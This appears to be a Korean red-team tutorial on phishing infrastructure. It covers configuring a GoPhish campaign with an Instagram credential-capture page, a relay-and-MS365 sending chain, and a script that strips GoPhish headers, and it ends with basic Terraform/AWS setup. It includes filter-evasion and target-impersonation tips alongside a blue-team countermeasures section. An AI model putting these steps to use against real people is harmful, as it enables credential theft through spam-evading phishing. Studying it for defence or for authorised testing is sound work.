ping login.grootbaon.com을 실행해 login.grootbaon.com이 AWS EC2 퍼블릭 아이프로 연결되었는지 확인해보자.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-071a87c6c5f3d873e7bf30b4488b2db0309e65d6%2FPasted%20image%2020230417111347.png?alt=media)

이제 GoPhish 서버에서 나와 다시 SSH 연결을 해줄건데 이번에는 IP 대신login.grootbaon.com으로 로컬 포트 포워딩으로 로컬 호스트 3333에서 바로 연결이 될수 있게 다음과 같이 SSH 연결을 해준다.

`ssh -i id_rsa ubuntu@login.grootbaon.com -L 3333:127.0.0.1:3333`

이제 고피시 실행한뒤 뒤 나오는 비밀번호를 이용해 호스트에서 `https://localhost:3333` 로 접속한다.

`sudo ./gophish`

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-93d28f1acd4ed4069f40de018af824432cfaa6e7%2FPasted%20image%2020230417111503.png?alt=media)

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-1ca01c5d3f1ffc0c9903ab919b90aadf7de7bbec%2FPasted%20image%2020230417111758.png?alt=media)

브라우저에서 <https://localhost:3333> 로 연결하면 다음과 같이 GoPhish가 실행되는것을 확인할수 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-c380afc74ffe16cc8909e3e80ddf7630d9a3e244%2FPasted%20image%2020230417111739.png?alt=media)

이제 피싱에 필요한 모든 준비가 완료되었다!

## GoPhish로 피싱 캠페인 실행하기

아래와 같은 방법으로 순서대로 Sending Profile -> Landing Page -> Email Template -> Users & Group을 설정해준 뒤, 피싱 Campaign을 진행한다.

#### Sending Profile 설정

* Name: <프로필 이름 아무거나>
* SMTP From: <instagram.support@grootbaon.com>
* Host: smtp.zoho.coom.au:465 Username/Password: \<ZOHO <instagram.support@grootbaon.com> Username/Password>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-44b7cb4d9368056d6c463c7f92359fa19f1ada6c%2FPasted%20image%2020230417174314.png?alt=media" alt=""><figcaption></figcaption></figure>

테스팅겸 Send Test Email을 눌러 이메일을 보내본다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-141053829580145925da685b1715520f258fbf45%2FPasted%20image%2020230417112001.png?alt=media" alt=""><figcaption></figcaption></figure>

정상적으로 이메일이 온거를 확인하면 성공이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-611ed42c491f27be5059e0996acc27d8bc1cde15%2FPasted%20image%2020230417112055.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Landing Pages 설정

Landing Pages에서는 피싱 피해자가 피싱 메일이 유도하는 피싱 페이지를 방문할때 보이는 페이지를 뜻한다. 본 실습에서는 "Instagram 계정 탈취"를 가정해 아래와 같이 설정해주었다.

본 실습이 교육의 목적인 만큼 여기에 쓰인 인스타그램 로그인 페이지 소스는 따로 공유할수 없지만 피싱 템플릿은 어느정도 본 페이지의 HTML과 CSS 소스를 레퍼런스 떠와 만들수 있겠다.

* Name: Instagram HTML: <피싱 템플릿 HTML 코드>
* Capture Submitted Data 활성화
* Capture Passwords 활성화
* Redirect to: <https://www.instagram.com>

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-87257cbd91224cebe2f40170830b52dc36d9f4d1%2FPasted%20image%2020230417113600.png?alt=media)

아래와 같이 돋보기 아이콘을 눌러주면 템플릿을 미리보기 할수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fzm2ADcB9jM6s4OkiJMZy%2FPasted%20image%2020230417113656.png?alt=media&amp;token=f5d656fd-27a3-495b-9e86-fc96c442214b" alt=""><figcaption></figcaption></figure>

아래와 같은 피싱 템플릿이 사용되는걸 미리 확인할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f84df531692a27ad5bfecc6d55beed72dd1ec767%2FPasted%20image%2020230417185053.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Email Templates 설정

이제 Email Templates를 설정해 실제 피싱 피해자가 받는 피싱 이메일의 제목과 내용을 설정해준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-5d318473f196b86e622360009078abb3b43458bc%2FPasted%20image%2020230417190211.png?alt=media)

역시 미리보기로 확인하면 아래와 같은 피싱 이메일 템플릿이 사용되는것을 확일할 수 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-72b24c9a878d5ff5c88cd31278fa8c45dbec94bc%2FPasted%20image%2020230417114314.png?alt=media)

#### Users & Groups 설정

피싱 피해자의 이메일 리스트를 작성해준다.

* Group Name: Instagram victim lists

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-a5bb2b0b6324db93e1d5a2928a1a10c4943c7c9b%2FPasted%20image%2020230417114504.png?alt=media)

#### Campaign 설정

위에서 설정한 모든 설정값으로 캠페인을 만들어 준다. URL은 GoPhish 서버, 즉 login.grootbaon.com으로 설정해주고 포트 80/HTTP로 설정해 준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-93358569e41f57bbfed2c85729bd4d98b393022f%2FPasted%20image%2020230417114716.png?alt=media)

Launch Campaign을 눌러 최종적으로 Status에 Email Sent가 뜨면 성공적으로 피싱 캠페인이 실행된것을 확인할 수 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-be9729cc16734ba5e81e7b7152a08d9b0454e5fa%2FPasted%20image%2020230417115601.png?alt=media)

## 인스타그램 템플릿을 이용한 피싱 실습 데모

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8844e614e9723073301f22b6515ae38425dbd50e%2FAnimation.gif?alt=media)

스팸으로 필터링이 되지않고 정상적인 타겟 이메일 inbox 안으로 이메일이 도착한 것을 볼 수 있다. 이메일 발송자도 타사 브랜드가 보이게 만들수도 있지만 일단 본 실습에서는 grootbaon.com 도메인을 사용하기에 인스타그램과 비슷하진 않다. 하지만 현업에서 레드팀을 실행한땐 비슷한 typosquatting 도메인과 SSL Certificate까지 매우 치밀하게 이뤄진다.

## 마치며

이로써 서드파티 메일 서버, AWS, 고피시 서버를 설정하는 법에 대해서 다뤄봤다. 다시한번 강조하지만 본 실습은 교육의 목적으로 쓰이며 실제 위의 방법과 똑같이 따라하여 피싱을 시도하는것은 <https://www.xn--hy1b43d247a.com/infrastructure/smtp> 에서도 강조했듯이 절대 좋은 생각이 아니니 행운을 빈다.

## Reference

* <https://github.dev/b1gbroth3r/red-team-infrastructure-example>
* <https://www.mail-tester.com/>
* <https://www.sprocketsecurity.com/resources/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls>
* <https://www.mogozobo.com/?p=3685>


# SMTP Gophish + Relay + ESP

## 피싱 인프라

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fq12W7KLtfQaRwkOPcC7W%2Fsmtp-infra.png?alt=media&amp;token=70a85a9e-359e-4768-97d3-a2f27d52f150" alt=""><figcaption></figcaption></figure>

이번 페이지에서는 다양한 피싱 인프라 구축 방법에 대해서 알아본 뒤, 피싱 툴킷 + 릴레이 + ESP를 활용한 피싱 인프라 구축을 실습해본다. 다른 기법들과는 다르게 피싱 인프라와 관련된 정보는 너무 자세하게 인터넷에 공유할 경우 악용될 여지가 있기에 기술적인 디테일은 최대한 검열했다.

### 용어 설명

* **피싱 툴킷 서버(Phishing Toolkit Server):** 피싱 툴킷이 설치된 서버. 예) Gophish가 설치된 우분투 22.04
* **SMTP 릴레이 서버(SMTP Relay Server):** 피싱 툴킷으로부터 피싱 메일을 받은 뒤, 이메일 서비스 제공자(ESP)의 메일 서버로 SMTP 릴레이하는 서버. 릴레이 말고 타겟에게 직접적으로 메일을 보내는 것 또한 가능하다. 예) Postfix가 설치된 우분투 22.04
* **이메일 서비스 제공자(Email Service Provider):** 이메일 전송, 수신, 관리 기능을 제공하는 서비스 제공자. Mailgun, Sendgrid, MS365(o365).

### 인프라

피싱 인프라를 구축하는데에는 다양한 방법이 존재한다. 인프라 구축의 간단함, 작전 보안 정도 등을 생각해 봤을 때 피싱 인프라는 다음과 같이 구축할 수 있다.

1. **이메일 서비스 제공자(ESP)만 사용**

사실상 인프라가 필요 없는 가장 간단한 방법이다. 랜덤한 계정을 생성한 뒤, 평소 사용하던 ESP를 사용해 피싱 캠페인을 실행하는 것이다. 하지만 실제 공격자들의 TTP를 구현할 수 없고, 피싱 대상들의 반응을 모니터링 할 수 없으며, 작전보안에 취약하고, ESP 회사들의 이용 약관을 직접적으로 위반하는 방법이기 때문에 잘 사용되지 않는다.

한가지 예외가 있다면 ms365 개발자용 테넨트를 만들어 사용하는 방법이다 (<https://badoption.eu/blog/2023/12/03/PhishingInfra.html>). 물론 여전히 피싱 메일 열람, 링크 클릭 등의 모니터링이나 분석을 할 수 없는 것은 마찬가지다.

2. **피싱 툴킷 서버 + 메일 서버**

피싱 툴킷 서버에서 공격자 메일 서버로 이메일을 전송한 뒤, 공격자 메일 서버에서 대상 메일 서버로 직접적으로 메일을 보내는 방식이다. 구축이 간편한 편이지만, 공격자의 메일 서버가 직접적으로 노출되어 있으며, 대상 메일 서버/게이트웨이에서 바로 차단을 당할 수 있다는 위험이 있다.

이와 관련해서는 [SMTP Gophish + Mail](/infrastructure/smtp-do) 페이지를 참고한다.&#x20;

3. **피싱 툴킷 서버 + ESP**&#x20;

피싱 툴킷 서버에 고피시 등의 툴킷을 설치한 뒤, 평소 사용하고 있던 ESP를 이용해 이메일을 직접적으로 보내는 방식이다. 이메일의 경로는 다음과 같이 된다: `피싱 툴킷 서버 -> ESP -> 타겟` . 간단하고 빠르게 구축할 수 있다는 장점이 있지만, 그와 동시에 SMTP 사용자 인증에 사용되는 ESP 유저 계정이 차단될 수 있으며, 피싱 툴킷 서버와 ESP가 직접적으로 통신하기 때문에 ESP측에서 피싱 툴킷 서버를 바로 차단할 수 있다는 단점 또한 존재한다.

이와 관련해서는 [SMTP Gophish + ESP](/infrastructure/smtp-aws-zoho) 페이지를 참고한다.&#x20;

4. **피싱 툴킷 서버 + SMTP 릴레이 + ESP 사용**

피싱 툴킷 서버에서 공격자 소유의 SMTP 릴레이 서버로 메일 트래픽을 보낸 뒤, 릴레이 서버에서 SMTP 헤더 제거 및 IP 주소 변환으로 작전 보안을 챙겨주고, 마지막으로 ESP를 사용해 이메일의 신뢰도를 높여 대상에게 보내는 방식이다. 구축해야할 서버나 서비스가 많기 때문에 가장 번거롭다. 하지만 작전 보안이 치밀하고, 공격자의 피싱 툴킷 서버를 인터넷에 노출할 위험이 없으며, SMTP 릴레이 서버들이 들통난다고 하더라도 새로 만들면 그만이기 때문에 가장 원활한 작전 수행을 할 수 있다는 장점이 있다.

이번 페이지에서 다룰 인프라다.&#x20;

### SMTP 릴레이 서버

<div data-full-width="false"><figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fk5bJ9qe6ChxCy4xw3BZI%2Fimage.png?alt=media&amp;token=2989bf37-e6d5-4d69-b6b5-535d1310633f" alt=""><figcaption></figcaption></figure></div>

SMTP 릴레이 서버는 실제 정상적인 메일 인프라에서도 사용되는 서버들이다. 릴레이 서버들은 메일 서버들의 사이에서 로드 밸런싱, 보안, 필터링등의 역할을 맡는다. 공격자의 입장에서 SMTP 릴레이 서버는 공격자의 피싱 툴킷 서버를 인터넷에 노출 시키지 않으면서도, ESP와 공격자 사이에 완충지대를 역할을 담당하는데 쓰인다. 레드팀의 입장에서 SMTP 릴레이 서버는 다음과 같은 기능을 제공한다.

1. 피싱 툴킷 서버가 포함하고 있는, 작전 보안에 취약한 SMTP 헤더 삭제 (예. X-Gophish, X-Originating-IP, 등)
2. 피싱 툴킷 서버와 ESP 사이의 "대포 서버" 역할. 발각시 릴레이 서버 삭제 후 또 다른 릴레이 서버를 다른 IP를 사용해 구축.
3. 피싱 툴킷 서버가 직접적으로 ESP를 사용하지 않고, 실제 메일 네트워크 서비스(postfix)를 통해 릴레이 되며 좀 더 "정상적인" SMTP 트래픽 생성 가능.

### 실습

실습에는 아직 비공개인 `rtinfra`를 사용한다. rtinfra를 사용하면 테라폼과 앤서블을 이용해 10분만에 VPC, 공개/비공개 서브넷, C2, HTTP 리다이렉터, 고피시, Evilginx, SMTP 릴레이 서버, 페이로드 서버, VPN 서버를 구축할 수 있으며, 복잡한 포트포워딩 없이 VPN을 이용해 오퍼레이터가 각 서버들에 직접적으로 연결할 수 있다.

rtinfra를 사용하지 않고 실습을 진행한다면 필요한 인프라는 다음과 같다. 클라우드 및 인프라 구축은 이번 페이지에서는 다루지 않는다.

* Private 서브넷 - Ubuntu + Gophish 서버
* Public 서브넷 - Ubuntu + Postfix 서버 + 공인 IP
* ESP 가입에 필요한 신원 및 결제방법 (블랙햇도 아니고, 감옥 갈거 아니라면 그냥 본인 신원을 사용한다)
* 고피시 서버와 postfix 서버에 접속할 수 있는 권한 및 방법.

실습의 대략적인 절차는 다음과 같다.

1. 고피시 서버 구축
2. 릴레이 서버 (Postfix) 구축
3. ESP 가입 및 설정
4. Postfix 서버에서 SMTP 사용자 계정 정보 + 비밀번호 및 릴레이 서버 설정
5. 고피시를 이용해 메일 전송

### 고피시 서버 구축

개념 증명용 실습이니 최대한 간단하게 구축한다.

```
#!/bin/bash

apt update -y ; apt install golang-go gcc -y 
cd /opt 
git clone https://github.com/gophish/gophish.git
cd ./gophish 

# Opsec changes 
find . -type f -name "config.go" -exec sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/g' {} + 
find . -type f -name "campaign.go" -exec sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "clientID"/g' {} + 
find . -type f -exec sed -i 's/X-Gophish-Contact/X-Contact/g; s/X-Gophish-Signature/X-Signature/g' {} +

go build 
```

### 릴레이 서버(Postfix) 구축

먼저 Postfix를 구축한다. 이와 관련된 레드팀 페이지도 있으니 생략한다. 소스코드는 RTPSourceCodes 리포를 참고한다 - <https://github.com/ChoiSG/RTPSourceCodes/blob/main/iac/smtp-terraform/mail.tf#L17-L69>

1. Postfix, opendkim, certbot 설치
2. 허락된 IP 주소만 Postfix 릴레이를 사용가능하도록 mynetworks 설정
3. 작전보안용 SMTP 헤더를 제거하기 위한 `header_check` 파일 설정
4. DNS DKIM 설정을 위한 opendkim 설정

기본적인 SMTP Postfix 서버가 설치 + 설정되었다면 이제 ESP를 설정한다.

### ESP 가입 및 설정

ESP와 Postfix 릴레이 서버 설정은 레퍼런스 섹션의 글들을 참고해 진행했다.

많은 ESP가 있지만, 가장 신뢰도가 높고 한 달 공짜로 사용할 수 있는 MS365 E5 라이센스를 사용한다. 주의할 점은 개인용 라이센스가 아니라 기업용 E5 라이센스를 사용 해야 한다는 것이다. 최근 MS365와 EntraID와 관련된 공부도 시작했고, 추후 홈랩 온프레미스 AD에 EntraID(AAD)도 적용시킬 것이기 때문에 MS365를 사용하기로 결정했다. 한달이 지나도 월 4만원이기 때문에 크게 부담이 되지는 않는다.

가입할 때 이름과 Tenant 이름은 작전 보안을 생각해 정하는 것이 좋다. 예를 들어 `choi@testinghahafunny.onmicrosoft.com` 보다는 `info@<attackerdomain>.onmicrosoft.com`이 좋다. 성/이름에는 `Choi Choi` 라는 성/이름 보다는 `business noreply` 등이 더 좋을 것이다. 물론, 추후에 변경 가능하니 너무 걱정은 안해도 된다.

<https://www.microsoft.com/en-us/microsoft-365/enterprise/office-365-e5#overview>

가입 후 다음과 같이 설정한다.

1. 계정 이름과 이메일 주소를 변경한다. `admin.microsoft.com` > Users > Active Users > 유저 클릭 > Manage Username and Email 에서 Primary 이메일 주소를 `noreply`, `info` 등으로 바꾼다. 그 뒤, 처음 가입할 때 지정해놨던 alias를 지운다. Primary 이메일 주소가 바뀌면 로그인때 필요한 유저 이름도 바뀌는 것이니 유의한다.
2. MS365의 SMTP를 사용할 수 있도록 SMTP 인증을 허용한다. `admin.microsoft.com` > Users > Active Users > 유저 > Mail > `Manage email apps` 에서 `Authenticated SMTP` 를 활성화한다.
3. 공격자의 도메인을 등록한다 - `admin.microsoft.com` > Settings > Domain > Add Domain

이제 사용 가능한 ESP가 있으니, Postfix에서 릴레이를 설정해 ESP를 통해 이메일을 보내도록 구축한다.

### 릴레이 서버 릴레이 설정

릴레이 서버가 SMTP 사용자 인증을 사용해 ESP의 메일 서버로 메일을 보내려면 `sasl_passwd` 라는 파일에 사용자 이름과 비밀번호를 집어넣은 뒤, 해당 파일을 해시화 해야 한다. 또한, MS365의 경우 특정 계정으로 SMTP 인증을 사용하면 나가는 모든 이메일의 발신자 표시가 해당 계정의 이메일 주소가 되어야 하기 때문에 `sender_canonical`이라는 파일에 SMTP 인증을 사용할 계정의 이메일 주소를 넣는다.

두 개의 파일을 생성한 뒤 해시화 했다면 Postfix의 `main.cf`를 바꿔 MS365 메일 서버를 향해 릴레이 하도록 설정한다.

```
# SMTP 사용자 계정 정보 생성 후 해시화 
echo '[smtp.office365.com]:587 <user>@<domain.com>:<password>' > /etc/postfix/sasl_passwd
postmap /etc/postfix/sasl_passwd 
chmod 640 /etc/postfix/sasl_passwd* 

# 모든 SMTP 발신자(/.+/)가 위 ESP 계정의 이메일 주소를 갖도록 sender_canonical 생성 후 해시화 
echo '/.+/ <user>@<domain.com>' > /etc/postfix/sender_canonical
echo '/.+/ noreply@example.com' > /etc/postfix/sender_canonical
postmap /etc/postfix/sender_canonical
chmod 640 /etc/postfix/sender_canonical*

# Postfix - main.cf: 릴레이할 ESP의 SMTP 서버 및 sasl_passwd, sender_canonical, SSL 인증서 설정 
relayhost = [smtp.office365.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_security_level = may
sender_canonical_maps = regexp:/etc/postfix/sender_canonical
smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt
smtp_use_tls = yes
smtp_always_send_ehlo = yes

systemctl restart postfix 
```

릴레이 서버 설정이 끝났다면 도메인의 SPF도 업데이트한다.

```
v=spf1 ip4:<SMTP-릴레이-서버-ip> include:spf.protection.outlook.com -all
```

### 실습 - 메일 전송

이후 고피시에서 캠페인을 설정한다. 설정할 때 Sending Profile에서 SMTP 호스트는 SMTP 릴레이 서버의 사설 IP로 지정한다. 본격적으로 메일을 전송하기 전, mail-tester를 이용해 테스트 메일을 날려본다. 릴레이 서버에서 SMTP 헤더를 지우고, ESP의 신뢰도를 사용해 메일을 날리다 보니 놀랍게도 10/10점 만점을 받을 수 있었다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F2Yb8zfhdb782xrIHArBN%2Fsmtp-mail-tester-10.png?alt=media&amp;token=1d795577-704e-4718-a853-8ebe87d00004" alt=""><figcaption></figcaption></figure>

테스트 이후에는 실제 메일을 전송해본다. 링크가 들어가던, 파일 첨부를 하던간에 스팸메일함으로 가지않고 일반적인 받은 메일함에 정상적으로 도착하는 것을 확인할 수 있다. "수상한 도메인"이라던지, "외부도메인" 이라는 주의 메시지도 없다. ESP의 입장에서는 또 다른 ESP가 보낸 메일이니, 가장 신뢰도가 높고 정상적인 이메일로 인식하는 것이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F8rDDAbZ4f9Gr3yz9fbBy%2Fsmtp-gmail-success.png?alt=media&amp;token=0c4164ce-54dc-4545-9a9f-5fd9f757a855" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FRT5COQslshLwmU6JYfdq%2Fsmtp-no-warning-message.png?alt=media&amp;token=977e22ad-3bd7-46e2-926f-4680350f5f3d" alt=""><figcaption></figcaption></figure>

### 대응 방안

* ESP를 이용해 전송하는 이메일의 경우 SMTP에 들어가 있는 모든 IP 주소가 ESP의 메일 서버인 경우가 많다. `client-ip`, `SPF`, 등. 따라서 괜히 IP 주소 블랙리스트를 했다가 ESP의 메일주소를 차단하지 않도록 한다.
* ESP에 따라 다르지만, `Return-Path`, `X-OriginatorOrg` 등에는 ESP에 등록된 공격자의 도메인이 남아 있다. 해당 도메인의 SPF 및 MX 레코드를 확인해 공격자의 SMTP 릴레이 서버 주소를 알아낼 수 있다.
* **블루팀:** 이메일 헤더를 살펴보면 어떤 ESP를 사용했는지 알 수 있다. 해당 ESP에 악용 신고를 한다. 예를 들어 MS365의 경우 MSRC를 통해 신고할 수 있다(<https://msrc.microsoft.com/report/>).
* **블루팀 + 이메일 관리자:** 이메일 게이트웨이 단에서 단순히 상대방 메일 서버의 IP 주소(ESP의 IP)나 도메인 이름 (ESP의 도메인 이름) 뿐만 아니라 X-OriginatorOrg 등의 헤더에서 도메인 신뢰도 검사(도메인 나이, 카테고리, 등)를 진행할 수 있는지 확인해본다.

### MISC

* 처음 ms365를 가입할때 유저 이름과 org 이름을 가급적 공격자 도메인과 관련이 없고, 대상 기관의 도메인과 비슷하게 맞추면 좋다. 예를 들어 공격자 도메인이 `attacker.com` 이고 대상 도메인이 `target.com` 이라면, 가입할때 tenant 이름을 `target-onboardingms365.onmicrosoft.com` 등으로 맞추는 형식이다.

* admin.microsoft.com > Users > Active Users > 유저 클릭 > Manage Username and Email 에서 Primary 이메일 주소를 바꿔준다. 예를 들어 `admin@target-onboardingms365.onmicrosoft.com` 으로 맨처음 유저를 만들었다면, `noreply` 등으로 바꾼다. 그 뒤, 처음 가입할 때 지정해놨던 alias를 꼭 지워준다. Primary 이메일 주소가 바뀌면 로그인때 필요한 유저 이름도 바뀌는 것이니 유의한다.

* 공격자 도메인이 아닌 기본 `<tenant>.onmicrosoft.com` 으로 메일을 보내려 한다면 왠만한 ESP들의 스팸 필터링에 걸러진다(<https://learn.microsoft.com/en-us/exchange/troubleshoot/email-delivery/ndr/fix-error-code-451-4-7-500-699-asxxx-in-exchange-online>). 따라서 반드시 공격자의 도메인을 ms365와 연결한 뒤 메일을 전송한다.

* SMTP 메일 전송과 관련된 디버깅을 진행할때는 다음을 참고한다.

  * `/var/log/mail.log` : 릴레이 서버 <-> ESP 간의 SMTP 트래픽
  * SMTP 사용자 인증: `entra.microsfot.com` > Users > All Users > Sign-in Logs
  * SMTP 릴레이 서버 > ESP로 가는 SMTP가 `Security Defaults` 정책에 위반된다고 할시: `portal.azure.com` > EntraID (AAD) > Properties > Security Defaults로 가서 Security defaults를 해제한다

* 왠만한 VPS나 클라우드 플랫폼들의 경우 스팸을 막기 위해 TCP/25 아웃바운드 트래픽을 막는다. 플랫폼의 클라우드 기반의 이메일 서비스(AWS의 경우 SES 등)를 이용하면 이를 우회할 수 있으나, 백그라운드 체크라던지 검사가 좀 오래 걸리는 편이다. 또한, 실제 공격자들이 이런 방법 (클라우드 플랫폼에서 백그라운드 체크를 받는...)을 사용할 것 같지도 않다.

### 마치며

이번 글에서는 공격자들이 사용하는 현실적인 피싱 인프라에 대해서 배운 뒤 실습을 진행해봤다. 최근 이메일 보안이 매우 좋아지며 BEC 공격이 줄어들고 있는 추세다. 하지만 여전히 BEC 및 피싱은 초기 침투를 달성하는데 있어서 가장 많이 사용되는 TTP다. 따라서 실제 공격자들이 어떻게 이런 인프라를 구축하고, 이에 어떻게 대응하는가에 대해서는 꾸준한 연구가 이뤄져야 할 것이다.

### 레퍼런스

* <https://poweradm.com/postfix-with-microsoft-365-smtp-relay/>
* <https://www.securesystems.de/blog/building-a-red-team-infrastructure-in-2023/>
* <https://badoption.eu/blog/2023/12/03/PhishingInfra.html>
* <https://learn.microsoft.com/en-us/exchange/troubleshoot/email-delivery/ndr/non-delivery-reports-in-exchange-online>
* <https://learn.microsoft.com/en-us/exchange/troubleshoot/email-delivery/ndr/fix-error-code-451-4-7-500-699-asxxx-in-exchange-online>


# 인프라 구축 자동화


# 테라폼 (Terraform)

이번 페이지에서는 앞으로 인프라 구축 자동화와 관련된 기술 중 테라폼 (Terraform)이라는 소프트웨어를 설치하고 사용하는 법에 대해서 다룬다. 클라우드 플랫폼은 AWS를 이용한다.

레드팀 인프라 구축은 비슷한 일을 반복하고, 시간이 오래 걸리기 때문에 테라폼 (Terraform), 엔서블 (Ansible), 도커 (Docker) 등의 다양한 데브옵스 관련 소프트웨어들을 사용해 자동화 시키는 경우가 많다. 이 중 테라폼은 인프라를 코드로 표현한 뒤 구현하는 Infrastructure as a Code (IaC) 소프트웨어다. 서버, 네트워크, 스토리지, 클라우드 리소스들을 간단한 설정 언어 (Configuration Language) 로 "코딩" 한 뒤, 이를 실행하면 테라폼이 알아서 필요한 클라우드 플랫폼에 접속해 해당 인프라를 구축한다.

테라폼 워크플로우는 다음과 같다.

1. 테라폼 설치
2. (필요시) 클라우드 플랫폼 CLI 설치
3. 클라우드 플랫폼 자동화를 위한 토큰이나 API 키 등 생성
4. 테라폼 스크립트 `.tf` 제작
5. 테라폼 스크립트 실행

## 1. 테라폼 설치

테라폼 설치는 칼리 리눅스를 기반으로 진행한다. 우분투나 데비안에도 적용될 수 있다.

```
sudo apt-get update && sudo apt-get install -y gnupg software-properties-common
wget -O- https://apt.releases.hashicorp.com/gpg | \
gpg --dearmor | \
sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
gpg --no-default-keyring \
--keyring /usr/share/keyrings/hashicorp-archive-keyring.gpg \
--fingerprint
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] \
https://apt.releases.hashicorp.com $(lsb_release -cs) main" | \
sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update -y 
sudo apt-get install terraform -y 

# Confirm terraform installation 
terraform --help 
```

## 2. 클라우드 플랫폼 CLI 설치

굳이 안해도 되지만, 이번 실습에서는 AWS를 이용하기 때문에 진행한다.

```
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Confirm aws cli installation  
aws --version 
```

## 3. 클라우드 플랫폼 토큰/API 키 생성

클라우드 플랫폼마다 다르니 각 플랫폼의 공식 문서를 참고한다. 이번 페이지에서는 AWS를 위주로 생성한다.&#x20;

1. 로그인 후 IAM으로 이동 <https://console.aws.amazon.com/iam/>
2. IAM으로 가 관리자 권한을 가진 유저를 생성한다.

Access Management > Users > Add Users

* Username: terraform
* Add User to Group
* Attach Policies Directly
  * AdmnistratorAccess
  * AdministratorAccess-Amplify

3. 유저 생성 후, 유저 클릭. Security Credentials > Create Access Key > "Command Line Interface (CLI)" 이때 생성되는 Access Key 는 딱 지금만 확인 가능하다. 패스워드 매니저에 안전하게 보관해놓는다.
4. AWS CLI 를 설정한다.

```
└─# aws configure 
AWS Access Key ID [None]: <REDACTED>                                        
AWS Secret Access Key [None]: <REDACTED>
Default region name [None]: us-east-1
Default output format [None]: text

└─# aws configure list
```

## 4. 테라폼 실행

테라폼은 항상 프로젝트 디렉토리를 만든 뒤, 해당 티렉토리에서 사용하는 것이 가장 좋다. 디렉토리 생성 후, 위에서 설정한 AWS 엑세스키와 테라폼이 잘 돌아가는지 확인하기 위해 EC2 인스턴스를 하나 만들고, 확인한 뒤, 삭제해보자.

**디렉토리 생성**

```
mkdir terraformtesto 
cd ./terraformtesto 
```

**간단 poc 테라폼 스크립트 - test.tf**&#x20;

```
terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 4.16"
    }
  }
}

provider "aws" {
  region = "us-east-1" # Choose the desired AWS region
}

resource "aws_instance" "example" {
  ami           = "ami-007855ac798b5175e"
  instance_type = "t2.micro"

  tags = {
    Name = "terraform-poc"
  }
}

```

**테라폼 실행**

```
└─# terraform fmt 
└─# terraform plan 
└─# terraform apply 

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

